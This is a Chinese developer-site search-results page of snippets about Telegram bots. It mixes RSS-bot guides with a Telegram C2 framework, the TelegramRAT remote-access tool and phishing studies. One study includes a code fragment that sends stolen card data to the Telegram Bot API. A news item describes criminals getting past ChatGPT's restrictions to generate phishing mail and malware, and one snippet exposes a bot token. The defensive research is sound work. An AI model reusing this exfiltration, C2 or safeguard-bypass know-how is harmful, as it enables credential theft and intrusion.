文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布

命令控制之Telegram

文章前言 使用涉交网络作为C2 Server有两个好处，一方面是因为社交网络的服务器稳定，另一个方面是因为在于其通信的数据可以隐藏在正常的流量中，不容易被发现，本节主要是"站在巨人的肩膀"上来介绍通过Telegram...Cracking Telegram Encryption，而且Telegram支持发送所有文件类型，Telegram提供对外开放的api，用户可定制性的开发客户端。...成功实现发送文件： ?...以上介绍了Bot API中发送、接收文本消息和上传、下载文件的功能，剩下只需要将功能拼接，添加命令解析，就可以实现一个简易的C2 Server POC bt2框架 项目介绍 Bt2是一个使用python...编写开发的C2框架，它使用了telegram提供的基础设施和功能丰富的bot api，稍微改变了其通信平台的用途，使其可以充当c&c。

4K20
    • 您找到你想要的搜索结果了吗？
    是的
    没有找到

    Telegram机器人在欧洲凭证钓鱼中的协同机制与防御路径

    关键特征包括：使用官方CDN资源（如logo、字体）增强可信度；表单提交地址指向攻击者控制的中间脚本（如/api/collect.php）；部分页面嵌入JavaScript，用于收集浏览器指纹或阻止右键查看源码...Bot后端通常为Python脚本，使用python-telegram-bot库：from telegram import Updatefrom telegram.ext import Application...可通过以下方式提取IOC：监控外联请求中包含api.telegram.org/bot的HTTP流量；提取Bot Token模式（格式：数字:字母数字串）；关联短链（如bit.ly、cutt.ly）解析后的...第二，Bot Token的动态轮换。攻击者可每日更换Bot，使静态规则失效。需结合流量行为（如高频POST至Telegram API）而非仅依赖Token字符串。第三，用户跨平台信任惯性。...6 结论Telegram机器人在欧洲凭证钓鱼中的应用，标志着攻击模式从“静态投递”向“动态交互”的演进。其通过Bot API实现数据实时回传与操作指令下发，显著缩短攻击窗口并提升成功率。

    16810

    一个基于Go的Telegram RSS Bot机器人，支持应用内阅读预览

    应用内预览订阅文章，很方便，也是博主用过最好用的一个Telegram RSS机器人，这里就说下使用方法。...准备工作 Github地址：https://github.com/indes/flowerss-bot 1、申请Bot Token 打开Telegram，搜索@BotFather，发送/newbot ，...100 #自定义telegram bot api url，选填 telegram: endpoint: https://xxx.com/ #使用Mysql数据库，不填则默认使用SQLite mysql.../set 设置订阅 /help 帮助 Channel订阅使用方法： 1、将Bot添加为Channel管理员 2、发送相关命令给Bot #Channel订阅支持的命令 /sub @ChannelID...例如要给t.me/moerats频道订阅RSS更新： 1、将Bot添加到moerats频道管理员列表中 2、给Bot发送/sub @moerats https://www.moerats.com/feed

    2.1K00

    Telegram基础设施在钓鱼攻击中的滥用机制与防御对策研究

    （常模仿MetaMask、Coinbase或企业SSO界面）；在用户输入凭据过程中，前端JavaScript脚本实时捕获表单数据并通过Telegram Bot API发送至攻击者控制的私有频道；部分高级变种甚至直接在...此类攻击的核心挑战在于其“合法性掩护”：所有通信均经由telegram.org域名完成，符合SPF/DKIM/DMARC标准；Bot API调用使用HTTPS加密；消息支持自毁与私聊加密，极大增加取证难度...更重要的是，传统安全设备难以区分正常用户使用Telegram与恶意Bot数据回传之间的流量差异。...Token动态轮换：Bot Token每24小时更换，IoC生命周期极短。无恶意载荷：页面不含可执行文件或混淆脚本，静态扫描难以识别。...*；进程内存中存在敏感关键词（如“password”, “otp”, “cookie”）与Telegram API调用共现。

    23010

    部署你的RSS机器人

    telegram bot api url)(可忽略) allowed_users(允许使用 bot 的用户 telegram id)(可忽略(为空时所有用户都能使用 bot)) 申请 Telegram...Bot Token 以下部分截图和文章来自Spoience 的博客 打开 Telegram 搜索 @BotFather 202204171105160.png 点击 Start，发送 /newbot...申请 Telegraph Token | Telegram 应用内预览需要 Telegraph Api，所以我们还需要申请个 Telegraph Token 在终端中执行下面命令，会返回一段 json...Telegram 用户能够使用该 Bot，获取允许使用用户（比如自己）的 Telegram ID 并填入配置文件的 allowed_users 字段 获取 Telegram ID：https://t.me...start=botostore 使用 将 Bot 添加到您的频道中，并设置为管理员，Bot 的管理命令如下： /sub @ChannelID [url] 订阅 /unsub @ChannelID [url

    1.3K20

    Telegram Bot – 在线获取群聊GroupChat ID 教程

    假设机器人名称是my_bot。 1-将机器人添加到组中。 转到组，单击组名称，单击添加成员，在搜索框中搜索您的机器人，如下所示：@my_bot，选择您的机器人并单击添加。 2-向机器人发送虚拟消息。...您可以使用此示例：/my_id @my_bot 我尝试了一些消息，但并非所有消息都有效。上面的示例工作正常。...也许消息应该以 / 开头） 3- 转到以下网址： https://api.telegram.org/botXXX:YYYY/getUpdates 将 XXX:YYYY 替换为您的机器人令牌，如： https...://api.telegram.org/bot123456789:jbd78sadvbdy63d37gda37bd8/getUpdates 4- 查找 "chat":{"id":-zzzzzzzzzz，...5-测试：您可以测试使用 curl 向群组发送消息： curl -X POST "https://api.telegram.org/botXXX:YYYY/sendMessage" -d "chat_id

    36.2K30

    telegram-1：向tg的机器人群推送消息

    Telegram Bot的创建简单，API全面且免费，适合国际业务。 业务需求：最近需要将自动客户端的自动打包结果的二维码和下载地址推送到tg机器人群，需要了解。...这是一个测试用的bot： token：5049056695:AAFfyxCap2I0SZazC0DJ7WPw5oBz9oZcl7A username：@test1aJHcqb3iU_bot 可以在浏览器中使用...浏览器访问下述url获取这个群组的chat_id： https://api.telegram.org/bot5049056695:AAFfyxCap2I0SZazC0DJ7WPw5oBz9oZcl7A/...getUpdates 在返回值中找到这个群组的chat_id，机器人会向这个chat_id发送消息： -750599670 (3).python向bot推送消息的demo 1.相关准备 去官网查看下api...: https://core.telegram.org/bots/api 需要用到 python-telegram-bot 库。

    11.8K30

    TG限制群组转存机器人

    文章目录[隐藏] 1.部署 2.环境变量 3.使用方法 4.批量转存 5.项目地址 Telegram 在2021年底的一次更新中为群组增加了“禁止转发”功能，开启后普通成员便无法从群组中复制、转发或者保存任何内容...当然坊间也发明出了不少破解的方法，例如从缓存中提取或是从网页版抓包等，虽然有效使用起来却较为不便。...2.环境变量 想要让代码正确的跑起来，在部署时还需要设置以下环境变量：API_ID, API_HASH, SESSION, BOT_TOKEN, AUTH, FORCESUB 。...其中 API_ID 和 API_HASH 可以从 https://my.telegram.org/apps 获取，登陆后直接复制即可。 SESSION 可以使用这个网页运行一段小程序来获取。...3.使用方法 只需要把想转存的消息链接发给机器人即可，内容既可以是文字也可以是媒体或文件。由于机器人需要下载后重新上传，文件比较大的话就需要稍等片刻。

    14.2K20

    钓鱼攻击中窃取数据的流转路径与防御机制研究

    >然而，该方法存在明显缺陷：一是邮件服务商（如Gmail、Outlook）对异常发信行为实施严格限制，批量发送易触发IP封禁；二是邮箱本身易被溯源，一旦被举报即遭关停。...因此，2020年后，此类方式使用率显著下降。2.2 Telegram Bot 成为主流回传通道当前绝大多数钓鱼页面嵌入Telegram Bot API实现即时数据推送。...攻击者首先在Telegram上创建Bot并获取token，随后在钓鱼脚本中调用Telegram的sendMessage接口。...部分高级钓鱼包甚至支持多通道回传——同时发送至Telegram与备用邮箱，以防单一通道失效。...例如，通过DNS sinkholing将钓鱼域名解析至蜜罐服务器，捕获回传请求；或向Telegram Bot发送伪造凭证，污染攻击者数据库。此类主动防御虽不能阻止初始钓鱼，但可降低其运营效率。

    13510

    利用Telegram搭建RSS中文订阅机器人 NodeRSSBot 在线教程

    教程 1、申请 Bot 打开 Telegram，搜索 @BotFather，发送 /newbot ，按要求完成 Bot 机器人申请。...完成后妥善保管专属的 HTTP API TOKEN（保存好，之后会用到）。.../atom.xml 私聊可以直接发送 feed 地址订阅，支持同时发送多个地址按行分割 /viewall 只能在私聊中使用 在私聊中可以直接发送 opml 文件，导入 RSS 源， 在群聊中则将文件回复给...bot 频道使用 把 bot 设为频道管理员并正确配置权限后，可通过私聊在/sub后加上频道 id 来在频道中订阅 feed 例如 /sub  (频道 id 是@...打头的) 频道导入需要将文件名改成频道 id 并且以 opml 作为后缀在私聊中发送 例如 @myChannel.opml

    2.8K20

    TelegramRAT：一款功能强大的基于Telegram的远程通信访问控制工具

    功能介绍 1、直接在Bot中执行Shell命令； 2、支持从客户端下载文件； 3、支持获取客户端系统信息； 4、支持获取客户端地理位置信息； 5、支持捕捉屏幕截图； 6、支持获取URL（从URL下载文件...帮助菜单 HELP MENU: Coded By Machine1337 CMD Commands | 直接在Bot中执行CMD/Shell命令 cd...提供直接URL） 工具使用 1、打开Telegram并搜索https://t.me/BotFather； 2、创建Bot并获取API_TOKEN； 3、现在搜索https://t.me/chatIDrobot...并获取chat_id； 4、打开client.py，定位到第16行和第17行，并在其中写入API_TOKEN和chat_id； 5、在Windows系统中运行python client.py或在Linux...中运行python3 client.py； 6、打开你刚刚创建的Bot，并直接在消息输入框中输入并发送命令即可； 许可证协议 本项目的开发与发布遵循Apache-2.0开源许可证协议。

    84630

    听GPT 讲Alertmanager源代码--notify

    notifyV1函数根据PagerDuty集成的v1 API规范，使用HTTP POST方法将通知消息发送给PagerDuty。...该文件中定义了几个重要的结构体和函数： Notifier结构体：表示一个Slack通知器，包含了发送通知需要的信息，如Slack Webhook URL等。...该文件中的Notifier结构体是一个实现了alertmanager.Notifier接口的结构体，它定义了发送Telegram通知所需的各种参数和方法。...Notify方法中，会调用createTelegramClient函数创建一个Telegram客户端，并使用该客户端通过Telegram API发送通知消息到指定的ChatID。...这个客户端可以与Telegram API进行交互，发送和接收消息。 getBotToken函数是一个辅助函数，用于从配置文件中获取Telegram Bot的令牌。

    1.4K10

    黑客靠ChatGPT赚钱：每100次收费37元，还能修改恶意软件代码

    “机器人即服务” 据相关安全公司消息，黑客们首先找到一种可以绕过OpenAI限制的方法，通过使用ChatGPT API集成到他们的一个应用程序中。...事实上证明，相较于网页端，API版本反而不会对恶意内容进行强制限制。 其中有个论坛的用户，就将其与Telegram消息APP结合起来，以此来出售服务Telegram bot。...安全机构的研究人员测试了这种绕过方法，结果收获了一封钓鱼软件，以及一个病毒脚本，可以从感染计算机中窃取PDF文件，并通过FTP发送给攻击者。...△Telegram bot生成的钓鱼软件，图源：Enlarge △Telegram bot生成的恶意软件，图源：Enlarge（下同） 与此同时，其他黑客也在发布一些可以免费生成恶意内容的代码。...黑客们逐渐开始转战去使用他们的API，结果限制要少得多。 对于这件事，有网友表示：没有万无一失的修复方法。 因为ChatGPT是一种语言模型，黑客总是可以找到违反OpenAI内容政策的提示。

    86420

    基于“Smishing Triad”事件的短信钓鱼攻击机制与防御体系研究

    其流程如下：用户在假页面输入卡信息；后端脚本立即调用Apple/Google的API尝试注册该卡；银行向用户手机发送OTP以验证绑定；假页面提示“请输入银行验证码以完成支付”；用户提交OTP后，卡成功绑定至攻击者设备...3.2 基础设施部署特征托管集中化：约80%钓鱼站点托管于两家中国云服务商——腾讯云（AS132203）与阿里云（AS45102）；域名注册策略：大量使用隐私保护、批量注册、相似拼写（如usps-delivery...[.]com）；C2通信隐蔽化：数据通过HTTPS POST至中间脚本，再由Python脚本推送至Telegram Bot。...os.getenv('TG_CHAT_ID')def exfiltrate_card_data(card_info):url = f"https://api.telegram.org/bot{BOT_TOKEN...然而：攻击者使用合法短链服务（如Bit.ly）隐藏真实URL；发件人ID可伪造为“USPS”等可信名称；内容经轻微改写即可绕过关键词匹配。

    18510

    使用n8n搭建服务器监控系统：从Webhook到Telegram告警的完整实现

    rand -hex 32命令生成强随机字符串Telegram Chat ID：与Bot对话后访问 https://api.telegram.org/botBOT_TOKEN>/getUpdates...获取Telegram User ID：同上述方法获取，在返回的JSON中查找from.id字段监控数据格式：系统通过Webhook接收JSON格式的监控数据，包含以下字段：server_name: 服务器名称...Telegram消息发送，避免频繁推送正常状态消息。...发送告警到Telegram当检测到告警时，通过Telegram Bot发送通知消息：执行以下命令进行安装/配置：从配置可以看到，Telegram节点的关键设置：Resource: MessageOperation...告警效果展示具体操作如下：Telegram Bot成功收到告警消息，显示内容包括：服务器名称和监控时间系统资源使用情况（CPU、内存、磁盘、负载、运行时间）网络流量数据（入站/出站）告警状态和具体告警项消息格式清晰

    1.9K100
    点击加载更多

    相关资讯

    热门标签

    更多标签

    活动推荐

      运营活动

      活动名称
      广告关闭

      腾讯云开发者

      扫码关注腾讯云开发者

      扫码关注腾讯云开发者

      领取腾讯云代金券

      热门产品

      热门推荐

      更多推荐

      Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有

      深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 粤公网安备44030502008569号

      腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号

      领券